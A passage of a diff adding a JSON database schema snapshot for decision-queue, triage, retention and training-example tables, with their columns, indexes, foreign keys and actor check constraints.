+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_archive_notification_outbox_pending_idx": {
+          "name": "decision_archive_notification_outbox_pending_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_archive_notification_outbox_company_id_companies_id_fk": {
+          "name": "decision_archive_notification_outbox_company_id_companies_id_fk",
+          "tableFrom": "decision_archive_notification_outbox",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_archive_notification_outbox_origin_agent_id_agents_id_fk": {
+          "name": "decision_archive_notification_outbox_origin_agent_id_agents_id_fk",
+          "tableFrom": "decision_archive_notification_outbox",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "origin_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "decision_archive_notification_outbox_status_check": {
+          "name": "decision_archive_notification_outbox_status_check",
+          "value": "\"decision_archive_notification_outbox\".\"status\" IN ('pending', 'delivering', 'delivered')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.decision_queue_items": {
+      "name": "decision_queue_items",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "queue_id": {
+          "name": "queue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_id": {
+          "name": "source_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "added_by_type": {
+          "name": "added_by_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "added_by_agent_id": {
+          "name": "added_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "added_by_user_id": {
+          "name": "added_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "added_by_run_id": {
+          "name": "added_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "added_by_agent_api_key_id": {
+          "name": "added_by_agent_api_key_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_queue_items_queue_source_uq": {
+          "name": "decision_queue_items_queue_source_uq",
+          "columns": [
+            {
+              "expression": "queue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_queue_items_company_source_idx": {
+          "name": "decision_queue_items_company_source_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_queue_items_company_id_companies_id_fk": {
+          "name": "decision_queue_items_company_id_companies_id_fk",
+          "tableFrom": "decision_queue_items",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_queue_items_added_by_agent_id_agents_id_fk": {
+          "name": "decision_queue_items_added_by_agent_id_agents_id_fk",
+          "tableFrom": "decision_queue_items",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "added_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_queue_items_added_by_run_id_heartbeat_runs_id_fk": {
+          "name": "decision_queue_items_added_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decision_queue_items",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "added_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_queue_items_added_by_agent_api_key_id_agent_api_keys_id_fk": {
+          "name": "decision_queue_items_added_by_agent_api_key_id_agent_api_keys_id_fk",
+          "tableFrom": "decision_queue_items",
+          "tableTo": "agent_api_keys",
+          "columnsFrom": [
+            "added_by_agent_api_key_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_queue_items_queue_company_fk": {
+          "name": "decision_queue_items_queue_company_fk",
+          "tableFrom": "decision_queue_items",
+          "tableTo": "decision_queues",
+          "columnsFrom": [
+            "queue_id",
+            "company_id"
+          ],
+          "columnsTo": [
+            "id",
+            "company_id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "decision_queue_items_actor_check": {
+          "name": "decision_queue_items_actor_check",
+          "value": "(\n        (\"decision_queue_items\".\"added_by_type\" = 'agent' AND \"decision_queue_items\".\"added_by_agent_id\" IS NOT NULL AND \"decision_queue_items\".\"added_by_user_id\" IS NULL)\n        OR (\"decision_queue_items\".\"added_by_type\" = 'user' AND \"decision_queue_items\".\"added_by_agent_id\" IS NULL AND \"decision_queue_items\".\"added_by_user_id\" IS NOT NULL)\n        OR (\"decision_queue_items\".\"added_by_type\" = 'system' AND \"decision_queue_items\".\"added_by_agent_id\" IS NULL AND \"decision_queue_items\".\"added_by_user_id\" IS NULL)\n      )"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.decision_queues": {
+      "name": "decision_queues",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_type": {
+          "name": "created_by_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_api_key_id": {
+          "name": "created_by_agent_api_key_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retention_days": {
+          "name": "retention_days",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "seed_rules": {
+          "name": "seed_rules",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "seed_rules_enabled": {
+          "name": "seed_rules_enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_queues_company_key_uq": {
+          "name": "decision_queues_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_queues_company_updated_idx": {
+          "name": "decision_queues_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_queues_company_id_companies_id_fk": {
+          "name": "decision_queues_company_id_companies_id_fk",
+          "tableFrom": "decision_queues",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_queues_created_by_agent_id_agents_id_fk": {
+          "name": "decision_queues_created_by_agent_id_agents_id_fk",
+          "tableFrom": "decision_queues",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_queues_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "decision_queues_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decision_queues",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_queues_created_by_agent_api_key_id_agent_api_keys_id_fk": {
+          "name": "decision_queues_created_by_agent_api_key_id_agent_api_keys_id_fk",
+          "tableFrom": "decision_queues",
+          "tableTo": "agent_api_keys",
+          "columnsFrom": [
+            "created_by_agent_api_key_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {
+        "decision_queues_id_company_uq": {
+          "name": "decision_queues_id_company_uq",
+          "nullsNotDistinct": false,
+          "columns": [
+            "id",
+            "company_id"
+          ]
+        }
+      },
+      "policies": {},
+      "checkConstraints": {
+        "decision_queues_creator_check": {
+          "name": "decision_queues_creator_check",
+          "value": "(\n        (\"decision_queues\".\"created_by_type\" = 'agent' AND \"decision_queues\".\"created_by_agent_id\" IS NOT NULL AND \"decision_queues\".\"created_by_user_id\" IS NULL)\n        OR (\"decision_queues\".\"created_by_type\" = 'user' AND \"decision_queues\".\"created_by_agent_id\" IS NULL AND \"decision_queues\".\"created_by_user_id\" IS NOT NULL)\n        OR (\"decision_queues\".\"created_by_type\" = 'system' AND \"decision_queues\".\"created_by_agent_id\" IS NULL AND \"decision_queues\".\"created_by_user_id\" IS NULL)\n      )"
+        },
+        "decision_queues_retention_days_check": {
+          "name": "decision_queues_retention_days_check",
+          "value": "\"decision_queues\".\"retention_days\" IS NULL OR (\"decision_queues\".\"retention_days\" >= 1 AND \"decision_queues\".\"retention_days\" <= 3650)"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.decision_retention": {
+      "name": "decision_retention",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_id": {
+          "name": "source_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_activity_at": {
+          "name": "source_activity_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "keep": {
+          "name": "keep",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_reason": {
+          "name": "archived_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_by_type": {
+          "name": "archived_by_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_by_agent_id": {
+          "name": "archived_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_by_user_id": {
+          "name": "archived_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_by_run_id": {
+          "name": "archived_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "version": {
+          "name": "version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "archive_version": {
+          "name": "archive_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_retention_company_source_uq": {
+          "name": "decision_retention_company_source_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_retention_company_archived_idx": {
+          "name": "decision_retention_company_archived_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "archived_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_retention_company_id_companies_id_fk": {
+          "name": "decision_retention_company_id_companies_id_fk",
+          "tableFrom": "decision_retention",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_retention_archived_by_agent_id_agents_id_fk": {
+          "name": "decision_retention_archived_by_agent_id_agents_id_fk",
+          "tableFrom": "decision_retention",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "archived_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_retention_archived_by_run_id_heartbeat_runs_id_fk": {
+          "name": "decision_retention_archived_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decision_retention",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "archived_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "decision_retention_archive_actor_check": {
+          "name": "decision_retention_archive_actor_check",
+          "value": "(\n        (\"decision_retention\".\"archived_at\" IS NULL AND \"decision_retention\".\"archived_by_type\" IS NULL AND \"decision_retention\".\"archived_by_agent_id\" IS NULL AND \"decision_retention\".\"archived_by_user_id\" IS NULL)\n        OR (\"decision_retention\".\"archived_at\" IS NOT NULL AND \"decision_retention\".\"archived_by_type\" = 'system' AND \"decision_retention\".\"archived_by_agent_id\" IS NULL AND \"decision_retention\".\"archived_by_user_id\" IS NULL)\n        OR (\"decision_retention\".\"archived_at\" IS NOT NULL AND \"decision_retention\".\"archived_by_type\" = 'agent' AND \"decision_retention\".\"archived_by_agent_id\" IS NOT NULL AND \"decision_retention\".\"archived_by_user_id\" IS NULL)\n        OR (\"decision_retention\".\"archived_at\" IS NOT NULL AND \"decision_retention\".\"archived_by_type\" = 'user' AND \"decision_retention\".\"archived_by_agent_id\" IS NULL AND \"decision_retention\".\"archived_by_user_id\" IS NOT NULL)\n      )"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.decision_triage": {
+      "name": "decision_triage",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_id": {
+          "name": "source_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "decide_by": {
+          "name": "decide_by",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decide_by_date": {
+          "name": "decide_by_date",
+          "type": "date",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "snoozed_until": {
+          "name": "snoozed_until",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "set_by_type": {
+          "name": "set_by_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "set_by_agent_id": {
+          "name": "set_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "set_by_user_id": {
+          "name": "set_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "set_by_run_id": {
+          "name": "set_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "set_by_agent_api_key_id": {
+          "name": "set_by_agent_api_key_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "version": {
+          "name": "version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_triage_company_source_uq": {
+          "name": "decision_triage_company_source_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_triage_company_decide_by_idx": {
+          "name": "decision_triage_company_decide_by_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "decide_by",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_triage_company_id_companies_id_fk": {
+          "name": "decision_triage_company_id_companies_id_fk",
+          "tableFrom": "decision_triage",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_triage_set_by_agent_id_agents_id_fk": {
+          "name": "decision_triage_set_by_agent_id_agents_id_fk",
+          "tableFrom": "decision_triage",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "set_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_triage_set_by_run_id_heartbeat_runs_id_fk": {
+          "name": "decision_triage_set_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decision_triage",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "set_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_triage_set_by_agent_api_key_id_agent_api_keys_id_fk": {
+          "name": "decision_triage_set_by_agent_api_key_id_agent_api_keys_id_fk",
+          "tableFrom": "decision_triage",
+          "tableTo": "agent_api_keys",
+          "columnsFrom": [
+            "set_by_agent_api_key_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "decision_triage_actor_check": {
+          "name": "decision_triage_actor_check",
+          "value": "(\n        (\"decision_triage\".\"set_by_type\" = 'agent' AND \"decision_triage\".\"set_by_agent_id\" IS NOT NULL AND \"decision_triage\".\"set_by_user_id\" IS NULL)\n        OR (\"decision_triage\".\"set_by_type\" = 'user' AND \"decision_triage\".\"set_by_agent_id\" IS NULL AND \"decision_triage\".\"set_by_user_id\" IS NOT NULL)\n      )"
+        },
+        "decision_triage_decide_by_check": {
+          "name": "decision_triage_decide_by_check",
+          "value": "(\n        (\"decision_triage\".\"decide_by\" IS NULL AND \"decision_triage\".\"decide_by_date\" IS NULL)\n        OR (\"decision_triage\".\"decide_by\" IN ('today', 'this_week', 'whenever') AND \"decision_triage\".\"decide_by_date\" IS NULL)\n        OR (\"decision_triage\".\"decide_by\" = 'date' AND \"decision_triage\".\"decide_by_date\" IS NOT NULL)\n      )"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.decision_triage_events": {
+      "name": "decision_triage_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "queue_id": {
+          "name": "queue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_id": {
+          "name": "source_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "action": {
+          "name": "action",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_agent_id": {
+          "name": "actor_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_user_id": {
+          "name": "actor_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_run_id": {
+          "name": "actor_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_api_key_id": {
+          "name": "agent_api_key_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "details": {
+          "name": "details",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_triage_events_company_source_created_idx": {
+          "name": "decision_triage_events_company_source_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_triage_events_queue_created_idx": {
+          "name": "decision_triage_events_queue_created_idx",
+          "columns": [
+            {
+              "expression": "queue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_triage_events_company_id_companies_id_fk": {
+          "name": "decision_triage_events_company_id_companies_id_fk",
+          "tableFrom": "decision_triage_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_triage_events_queue_id_decision_queues_id_fk": {
+          "name": "decision_triage_events_queue_id_decision_queues_id_fk",
+          "tableFrom": "decision_triage_events",
+          "tableTo": "decision_queues",
+          "columnsFrom": [
+            "queue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_triage_events_actor_agent_id_agents_id_fk": {
+          "name": "decision_triage_events_actor_agent_id_agents_id_fk",
+          "tableFrom": "decision_triage_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "actor_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_triage_events_actor_run_id_heartbeat_runs_id_fk": {
+          "name": "decision_triage_events_actor_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decision_triage_events",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "actor_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_triage_events_agent_api_key_id_agent_api_keys_id_fk": {
+          "name": "decision_triage_events_agent_api_key_id_agent_api_keys_id_fk",
+          "tableFrom": "decision_triage_events",
+          "tableTo": "agent_api_keys",
+          "columnsFrom": [
+            "agent_api_key_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "decision_triage_events_actor_check": {
+          "name": "decision_triage_events_actor_check",
+          "value": "(\n        (\"decision_triage_events\".\"actor_type\" = 'agent' AND \"decision_triage_events\".\"actor_agent_id\" IS NOT NULL AND \"decision_triage_events\".\"actor_user_id\" IS NULL)\n        OR (\"decision_triage_events\".\"actor_type\" = 'user' AND \"decision_triage_events\".\"actor_agent_id\" IS NULL AND \"decision_triage_events\".\"actor_user_id\" IS NOT NULL)\n        OR (\"decision_triage_events\".\"actor_type\" = 'system' AND \"decision_triage_events\".\"actor_agent_id\" IS NULL AND \"decision_triage_events\".\"actor_user_id\" IS NULL)\n      )"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.decision_training_examples": {
+      "name": "decision_training_examples",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_id": {
+          "name": "source_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "cutoff_at": {
+          "name": "cutoff_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "notes": {
+          "name": "notes",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "notes_history": {
+          "name": "notes_history",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "decision_outcome": {
+          "name": "decision_outcome",
+          "type": "text",
